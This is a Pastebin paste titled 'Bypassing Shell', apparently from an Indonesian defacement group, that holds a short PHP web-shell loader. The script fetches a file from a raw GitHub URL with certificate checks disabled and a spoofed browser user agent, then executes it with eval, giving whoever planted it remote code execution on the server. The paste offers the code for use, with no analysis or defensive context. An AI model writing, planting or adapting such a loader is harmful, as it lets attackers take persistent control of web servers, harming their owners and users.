INDOXPLOIT

Bypassing Shell IDB-TEAM

Jul 14th, 2019
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.62 KB | None | 0 0
  1. <?php
  2. function get_contents($url){
  3.   $ch = curl_init("$url");
  4.   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  5.   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  6.   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  7.   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  8.   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  9.   curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
  10.   curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
  11.   $result = curl_exec($ch);
  12.   return $result;
  13. }
  14.  
  15. $a = get_contents('https://raw.githubusercontent.com/tuyulmama/root/master/xd.txt');
  16. eval('?>'.$a);
Add Comment
Please, Sign In to add comment